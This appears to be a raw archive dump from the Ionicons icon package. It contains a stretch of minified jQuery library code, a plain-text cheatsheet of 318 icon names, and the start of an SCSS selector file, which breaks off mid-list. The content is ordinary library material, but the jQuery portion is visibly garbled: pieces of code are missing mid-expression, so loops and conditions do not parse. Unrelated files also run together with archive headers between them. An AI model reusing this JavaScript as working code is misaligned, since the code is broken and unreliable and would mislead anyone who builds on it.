Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("

Ionicons Cheatsheet, 318 icons

Icon Name iOS Material Design
add
add-circle
add-circle-outline
airplane
alarm
albums
alert
american-football
analytics
aperture
apps
appstore
archive
arrow-back
arrow-down
arrow-dropdown
arrow-dropdown-circle
arrow-dropleft
arrow-dropleft-circle
arrow-dropright
arrow-dropright-circle
arrow-dropup
arrow-dropup-circle
arrow-forward
arrow-round-back
arrow-round-down
arrow-round-forward
arrow-round-up
arrow-up
at
attach
backspace
barcode
baseball
basket
basketball
battery-charging
battery-dead
battery-full
beaker
bed
beer
bicycle
bluetooth
boat
body
bonfire
book
bookmark
bookmarks
bowtie
briefcase
browsers
brush
bug
build
bulb
bus
business
cafe
calculator
calendar
call
camera
car
card
cart
cash
cellular
chatboxes
chatbubbles
checkbox
checkbox-outline
checkmark
checkmark-circle
checkmark-circle-outline
clipboard
clock
close
close-circle
close-circle-outline
cloud
cloud-circle
cloud-done
cloud-download
cloud-outline
cloud-upload
cloudy
cloudy-night
code
code-download
code-working
cog
color-fill
color-filter
color-palette
color-wand
compass
construct
contact
contacts
contract
contrast
copy
create
crop
cube
cut
desktop
disc
document
done-all
download
easel
egg
exit
expand
eye
eye-off
fastforward
female
filing
film
finger-print
fitness
flag
flame
flash
flash-off
flashlight
flask
flower
folder
folder-open
football
funnel
gift
git-branch
git-commit
git-compare
git-merge
git-network
git-pull-request
glasses
globe
grid
hammer
hand
happy
headset
heart
heart-dislike
heart-empty
heart-half
help
help-buoy
help-circle
help-circle-outline
home
hourglass
ice-cream
image
images
infinite
information
information-circle
information-circle-outline
jet
journal
key
keypad
laptop
leaf
link
list
list-box
locate
lock
log-in
log-out
magnet
mail
mail-open
mail-unread
male
man
map
medal
medical
medkit
megaphone
menu
mic
mic-off
microphone
moon
more
move
musical-note
musical-notes
navigate
notifications
notifications-off
notifications-outline
nuclear
nutrition
open
options
outlet
paper
paper-plane
partly-sunny
pause
paw
people
person
person-add
phone-landscape
phone-portrait
photos
pie
pin
pint
pizza
planet
play
play-circle
podium
power
pricetag
pricetags
print
pulse
qr-scanner
quote
radio
radio-button-off
radio-button-on
rainy
recording
redo
refresh
refresh-circle
remove
remove-circle
remove-circle-outline
reorder
repeat
resize
restaurant
return-left
return-right
reverse-camera
rewind
ribbon
rocket
rose
sad
save
school
search
send
settings
share
share-alt
shirt
shuffle
skip-backward
skip-forward
snow
speedometer
square
square-outline
star
star-half
star-outline
stats
stopwatch
subway
sunny
swap
switch
sync
tablet-landscape
tablet-portrait
tennisball
text
thermometer
thumbs-down
thumbs-up
thunderstorm
time
timer
today
train
transgender
trash
trending-down
trending-up
trophy
tv
umbrella
undo
unlock
videocam
volume-high
volume-low
volume-mute
volume-off
walk
wallet
warning
watch
water
wifi
wine
woman
scss/ionicons-common.scss000064400000044350151701353760011541 0ustar00@charset "UTF-8"; // Ionicons Common CSS // -------------------------- .ionicons, .ion-ios-add:before, .ion-ios-add-circle:before, .ion-ios-add-circle-outline:before, .ion-ios-airplane:before, .ion-ios-alarm:before, .ion-ios-albums:before, .ion-ios-alert:before, .ion-ios-american-football:before, .ion-ios-analytics:before, .ion-ios-aperture:before, .ion-ios-apps:before, .ion-ios-appstore:before, .ion-ios-archive:before, .ion-ios-arrow-back:before, .ion-ios-arrow-down:before, .ion-ios-arrow-dropdown:before, .ion-ios-arrow-dropdown-circle:before, .ion-ios-arrow-dropleft:before, .ion-ios-arrow-dropleft-circle:before, .ion-ios-arrow-dropright:before, .ion-ios-arrow-dropright-circle:before, .ion-ios-arrow-dropup:before, .ion-ios-arrow-dropup-circle:before, .ion-ios-arrow-forward:before, .ion-ios-arrow-round-back:before, .ion-ios-arrow-round-down:before, .ion-ios-arrow-round-forward:before, .ion-ios-arrow-round-up:before, .ion-ios-arrow-up:before, .ion-ios-at:before, .ion-ios-attach:before, .ion-ios-backspace:before, .ion-ios-barcode:before, .ion-ios-baseball:before, .ion-ios-basket:before, .ion-ios-basketball:before, .ion-ios-battery-charging:before, .ion-ios-battery-dead:before, .ion-ios-battery-full:before, .ion-ios-beaker:before, .ion-ios-bed:before, .ion-ios-beer:before, .ion-ios-bicycle:before, .ion-ios-bluetooth:before, .ion-ios-boat:before, .ion-ios-body:before, .ion-ios-bonfire:before, .ion-ios-book:before, .ion-ios-bookmark:before, .ion-ios-bookmarks:before, .ion-ios-bowtie:before, .ion-ios-briefcase:before, .ion-ios-browsers:before, .ion-ios-brush:before, .ion-ios-bug:before, .ion-ios-build:before, .ion-ios-bulb:before, .ion-ios-bus:before, .ion-ios-business:before, .ion-ios-cafe:before, .ion-ios-calculator:before, .ion-ios-calendar:before, .ion-ios-call:before, .ion-ios-camera:before, .ion-ios-car:before, .ion-ios-card:before, .ion-ios-cart:before, .ion-ios-cash:before, .ion-ios-cellular:before, .ion-ios-chatboxes:before, .ion-ios-chatbubbles:before, .ion-ios-checkbox:before, 